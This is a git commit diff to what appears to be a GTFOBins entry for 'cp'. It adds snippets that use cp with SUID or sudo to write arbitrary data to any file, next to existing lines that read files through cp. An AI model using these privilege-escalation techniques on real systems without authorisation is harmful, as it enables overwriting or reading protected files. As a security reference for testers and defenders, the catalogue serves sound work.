Add cp file-write

Along the lines of #122.
This commit is contained in:
Andrea Cardaci 2020-03-21 19:24:30 +01:00
parent 834cae88be
commit 2e55528e82

View File

@ -4,7 +4,14 @@ functions:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read
cp "$LFILE" /dev/stdout cp "$LFILE" /dev/stdout
file-write:
- code: |
LFILE=file_to_write
echo "DATA" | cp /dev/stdin "$LFILE"
suid: suid:
- code: |
LFILE=file_to_write
echo "DATA" | ./cp /dev/stdin "$LFILE"
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. - description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
code: | code: |
LFILE=file_to_write LFILE=file_to_write
@ -12,6 +19,9 @@ functions:
echo "DATA" > $TF echo "DATA" > $TF
./cp $TF $LFILE ./cp $TF $LFILE
sudo: sudo:
- code: |
LFILE=file_to_write
echo "DATA" | sudo cp /dev/stdin "$LFILE"
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. - description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
code: | code: |
LFILE=file_to_write LFILE=file_to_write